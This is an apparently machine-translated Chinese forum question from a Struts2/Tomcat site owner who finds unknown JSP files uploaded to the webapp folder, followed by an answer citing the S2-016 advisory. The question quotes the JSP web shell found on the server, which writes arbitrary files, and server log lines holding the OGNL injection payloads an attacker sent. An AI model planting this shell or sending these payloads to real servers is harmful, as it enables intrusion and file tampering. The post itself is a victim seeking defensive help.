我尝试使用tomcat 7x和Apache 2.2前端tomcat在公共域上托管struts2应用程序。
我在网络应用文件夹中看到了一些恶意活动。
每当我看到一些像indcx.jsp,maneger.jsp,uplod.jsp等文件以及许多此类未知文件上传到tomcat / webapp / application文件夹时。
我每次都手动删除这些文件,但想知道我们是否有任何设置或配置可以避免此类恶意/黑客活动以及上传此类未知文件。
修改
我再次见过这些文件,文件内容如下
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
我的问题是,有人能够在我的服务器上上传此文件吗?
再次编辑
经过仔细分析后,现在看起来是一个struts2或xwork安全问题或漏洞,以下是告诉大部分剩余故事的所有日志
60.15.137.72 - - [27 / Jan / 2014:17:51:48 +0530]“GET /common/test.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony .xwork2.dispatcher.HttpServletRequest '),%23B%3D%23a.getRealPath(%22/22%),%23matt%3D%23context.get(' com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt。 getWriter()。println(%23b),%23matt.getWriter()。flush(),%23matt.getWriter()。close()%7D HTTP / 1.0“200 74
60.15.137.72 - - [27 / Jan / 2014:17:51:48 +0530]“GET /common/test2.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony .xwork2.dispatcher.HttpServletRequest '),%23B%3D%23a.getRealPath(%22/22%),%23matt%3D%23context.get(' com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt。 getWriter()。println(%23b),%23matt.getWriter()。flush(),%23matt.getWriter()。close()%7D HTTP / 1.0“200 74
60.15.137.72 - - [27 / Jan / 2014:17:51:49 +0530]“GET /common/test3.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony .xwork2.dispatcher.HttpServletRequest '),%23B%3D%23a.getRealPath(%22/22%),%23matt%3D%23context.get(' com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt。 getWriter()。println(%23b),%23matt.getWriter()。flush(),%23matt.getWriter()。close()%7D HTTP / 1.0“200 74
答案 0 :(得分:0)
好像你需要升级你的struts2。某些版本容易受到您所描述的内容的影响:http://struts.apache.org/release/2.3.x/docs/s2-016.html